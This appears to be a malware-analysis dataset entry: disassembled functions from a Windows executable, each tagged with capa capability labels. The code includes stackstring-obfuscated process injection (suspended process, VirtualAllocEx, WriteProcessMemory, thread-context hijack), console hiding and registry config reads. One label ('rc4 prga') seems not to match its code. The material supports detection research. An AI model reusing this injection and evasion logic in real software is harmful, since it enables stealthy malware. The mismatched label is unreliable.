joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408d40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x5a42e4]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x60], 0x44
push 0x40
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.0052c750
add esp, 0xc
mov dword [ebp - 0x34], 1
xor ecx, ecx
mov word [ebp - 0x30], cx
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x50
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x63
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x41
mov byte [ebp - 0xa], 0
lea edx, [ebp - 0x18]
push edx
push 0x57fa00
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0052ad34
mov esp, ebp
pop ebp
ret

Function at 0x408e00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5a42e4]
xor eax, ebp
mov dword [ebp - 8], eax
mov byte [ebp - 0x18], 0x56
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x75
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 0xd], 0x63
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], 0x78
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x18]
push eax
push 0x57fa1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x10]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x408e86
xor eax, eax
jmp 0x408e9e
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0052ad34
mov esp, ebp
pop ebp
ret
Function at 0x408eb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x5a42e4]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x2d8], 0
push 0x2c8
push 0
lea eax, [ebp - 0x2d4]
push eax
call fcn.0052c750
add esp, 0xc
mov dword [ebp - 0x2d8], 0x10007
mov byte [ebp - 0x314], 0x47
mov byte [ebp - 0x313], 0x65
mov byte [ebp - 0x312], 0x74
mov byte [ebp - 0x311], 0x54
mov byte [ebp - 0x310], 0x68
mov byte [ebp - 0x30f], 0x72
mov byte [ebp - 0x30e], 0x65
mov byte [ebp - 0x30d], 0x61
mov byte [ebp - 0x30c], 0x64
mov byte [ebp - 0x30b], 0x43
mov byte [ebp - 0x30a], 0x6f
mov byte [ebp - 0x309], 0x6e
mov byte [ebp - 0x308], 0x74
mov byte [ebp - 0x307], 0x65
mov byte [ebp - 0x306], 0x78
mov byte [ebp - 0x305], 0x74
mov byte [ebp - 0x304], 0
lea ecx, [ebp - 0x314]
push ecx
push 0x57fa38
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2dc], eax
lea edx, [ebp - 0x2d8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
call dword [ebp - 0x2dc]
test eax, eax
jne 0x408fa2
xor eax, eax
jmp 0x4090e6
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x220], edx
mov byte [ebp - 0x2f0], 0x53
mov byte [ebp - 0x2ef], 0x65
mov byte [ebp - 0x2ee], 0x74
mov byte [ebp - 0x2ed], 0x54
mov byte [ebp - 0x2ec], 0x68
mov byte [ebp - 0x2eb], 0x72
mov byte [ebp - 0x2ea], 0x65
mov byte [ebp - 0x2e9], 0x61
mov byte [ebp - 0x2e8], 0x64
mov byte [ebp - 0x2e7], 0x43
mov byte [ebp - 0x2e6], 0x6f
mov byte [ebp - 0x2e5], 0x6e
mov byte [ebp - 0x2e4], 0x74
mov byte [ebp - 0x2e3], 0x65
mov byte [ebp - 0x2e2], 0x78
mov byte [ebp - 0x2e1], 0x74
mov byte [ebp - 0x2e0], 0
lea eax, [ebp - 0x2f0]
push eax
push 0x57fa54
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x318], eax
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [ebp - 0x318]
test eax, eax
jne 0x409060
xor eax, eax
jmp 0x4090e6
mov byte [ebp - 0x300], 0x52
mov byte [ebp - 0x2ff], 0x65
mov byte [ebp - 0x2fe], 0x73
mov byte [ebp - 0x2fd], 0x75
mov byte [ebp - 0x2fc], 0x6d
mov byte [ebp - 0x2fb], 0x65
mov byte [ebp - 0x2fa], 0x54
mov byte [ebp - 0x2f9], 0x68
mov byte [ebp - 0x2f8], 0x72
mov byte [ebp - 0x2f7], 0x65
mov byte [ebp - 0x2f6], 0x61
mov byte [ebp - 0x2f5], 0x64
mov byte [ebp - 0x2f4], 0
lea ecx, [ebp - 0x300]
push ecx
push 0x57fa70
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [ebp - 4]
mov eax, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0052ad34
mov esp, ebp
pop ebp
ret
Function at 0x409100
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x5a42e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x138], 0
push 0xfe
push 0
lea eax, [ebp - 0x137]
push eax
call fcn.0052c750
add esp, 0xc
mov byte [ebp - 0x18], 0x47
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x53
mov byte [ebp - 0x14], 0x79
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], 0x44
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x41
mov byte [ebp - 5], 0
lea ecx, [ebp - 0x18]
push ecx
push 0x57fa8c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
push 0xff
lea edx, [ebp - 0x138]
push edx
call dword [ebp - 0x30]
mov byte [ebp - 0x135], 0
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x138]
push ecx
call fcn.00408d40
add esp, 8
test eax, eax
jne 0x4091cd
xor eax, eax
jmp 0x40926f
mov byte [ebp - 0x2c], 0x56
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x6c
mov byte [ebp - 0x25], 0x41
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x63
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x78
mov byte [ebp - 0x1e], 0
lea edx, [ebp - 0x2c]
push edx
push 0x57faa8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40925b
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call fcn.00408e00
add esp, 0xc
test eax, eax
jne 0x40925f
xor eax, eax
jmp 0x40926f
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp + 0x10]
push edx
call fcn.00408eb0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0052ad34
mov esp, ebp
pop ebp
ret
Function at 0x40aa90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
je 0x40aaa2
cmp dword [ebp + 0xc], 0
jne 0x40aaa7
jmp 0x40aba8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
jmp 0x40aad3
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
cmp dword [ebp - 0xc], eax
jg 0x40aba8
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x14], 0
jmp 0x40aafb
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 4]
jge 0x40ab29
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
movzx eax, word [ecx + eax*2]
xor edx, eax
je 0x40ab27
mov dword [ebp - 0x10], 0
jmp 0x40ab29
jmp 0x40aaf2
cmp dword [ebp - 0x10], 0
je 0x40aba3
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
jmp 0x40ab49
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 8]
jge 0x40aba3
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
movzx ecx, word [eax + edx*2]
cmp ecx, 0x7c
jne 0x40aba1
cmp dword [ebp + 0x10], 0
je 0x40ab86
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x18]
add edx, 1
push edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax*2]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
jmp 0x40ab9f
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
movzx eax, word [edx + ecx*2 - 2]
cmp eax, 0x31
jne 0x40ab9f
mov ecx, dword [ebp + 0x14]
mov dword [ecx], 1
jmp 0x40aba8
jmp 0x40ab40
jmp 0x40aaca
mov esp, ebp
pop ebp
ret
Function at 0x40abb0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 3
mov dword [ebp - 4], 4
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.Console
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40ac0c
lea ecx, [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
push 0x57f830
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 0x14], 0xa
jbe 0x40ad50
push 0x7d0
push 0
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0052c750
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x1e
push ecx
push 0x57f850
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0040aa90
add esp, 0x10
push 0
mov edx, dword [ebp + 8]
add edx, 0x21c
push edx
push 0x57f858
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0040aa90
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, 0x258
push eax
push 0
push 0x57f860
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0040aa90
add esp, 0x10
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x25c
push ecx
push 0x57f868
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0040aa90
add esp, 0x10
push 0
mov edx, dword [ebp + 8]
add edx, 0x45a
push edx
push 0x57f870
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0040aa90
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, 0x498
push eax
push 0
push 0x57f878
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0040aa90
add esp, 0x10
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x49c
push ecx
push 0x57f880
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0040aa90
add esp, 0x10
push 0
mov edx, dword [ebp + 8]
add edx, 0x69a
push edx
push 0x57f888
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0040aa90
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, 0x6d8
push eax
push 0
push 0x57f890
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.0040aa90
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x40b2a0
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
call fcn.0040ad60
push 0
push 0
push 0
push 0x40b0a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41a822
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x41a869
call fcn.0045dc36
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41a869
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41a885
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0041a322
mov esi, eax
test edi, edi
je 0x41a883
test ebx, ebx
je 0x41a883
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x41c9ec
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x548753
call fcn.0052c3cb
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x41ca11
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x41ca63
call fcn.0044260d
push eax
lea ecx, [ebp - 0x10]
call fcn.0040a8b0
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0052c4d5
push eax
call fcn.0040a630
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00407f10
mov eax, esi
call fcn.0052c4a3
ret 8

Function at 0x431194
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x4311ae
call fcn.0045dc36
mov esi, dword [eax + 0xc]
push dword [0x5a8748]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4311cc
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x4311c4
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x4311f9
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x4311c6
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.004310c2
mov esi, eax
jmp 0x4311eb
Function at 0x451fb7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x451fff
call fcn.0045dc36
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x451fff
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x452042
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x45202b
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x45202b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x45203f
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4559f2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0045dc36
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x455a2b
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0045562f
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x455a89
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x455aad
cmp dword [edi + 0x74], 0
jne 0x455aad
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0045dc36
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00455a4a
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x45e2da
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x546273
call fcn.0052c3cb
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040ce80
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x45e33c
call fcn.0045d4f9
cmp eax, 1
jne 0x45e33c
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00454757
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00410c22
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00407f10
mov dword [ebp + 8], connect
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00407f10
mov eax, esi
call fcn.0052c4a3
ret 0x10

Function at 0x45e365
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x546273
call fcn.0052c3cb
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040ce80
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x45e3c7
call fcn.0045d4f9
cmp eax, 1
jne 0x45e3c7
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00454757
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00410c22
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00407f10
mov dword [ebp + 8], connect
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00407f10
mov eax, esi
call fcn.0052c4a3
ret 0x14

Function at 0x4a3ba9
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x4a3be7
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4a3bf5
push str.MoveFileTransactedW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4a3bf5
push dword [esi]
push 2
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x4a3bf7
cmp dword [esi + 4], 0
je 0x4a3bf5
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_MoveFileW]
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x4d6fb3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4d6fcb
mov edi, dword [esi + 0xc]
jmp 0x4d700b
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4d6fe4
call fcn.00455e6b
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4d6ff9
call fcn.00455e6b
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4d700b
call fcn.00455e6b
call fcn.0045dc36
cmp dword [eax + 0x3c], 0
je 0x4d7020
push edi
mov ecx, ebx
call fcn.004d5e6b
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004d6ecd
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4d703e
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4d704a
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4f942b
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.00521b05
call fcn.0045d667
cmp dword [eax + 0x14], 0
jne 0x4f9448
mov ecx, esi
pop esi
jmp fcn.004f8f2d
pop esi
ret

Function at 0x4fc922
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0042ba2f
call fcn.0045d667
cmp dword [eax + 0x14], 0
jne 0x4fc93f
mov ecx, esi
pop esi
jmp fcn.004fc2f5
pop esi
ret

Function at 0x50ec4a
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0050e8ee
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x50ec94
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0041881b
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.004130d9
jmp 0x50ec9f
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0046a9be
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x50eca5
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0041c295
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x50ece2
call fcn.0050e8ee
mov dword [esi + 0xc], 1
jmp 0x50ece7
call fcn.0050e8ee
cmp dword [esi], 0
je 0x50ed30
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x50ed08
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0041881b
jmp 0x50ed1a
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.0040a570
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.004130d9
jmp 0x50ed54
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x50ed54
push dword [esi]
push dword [ebp + 8]
call fcn.0046a9be
pop esi
pop ebp
ret 0xc

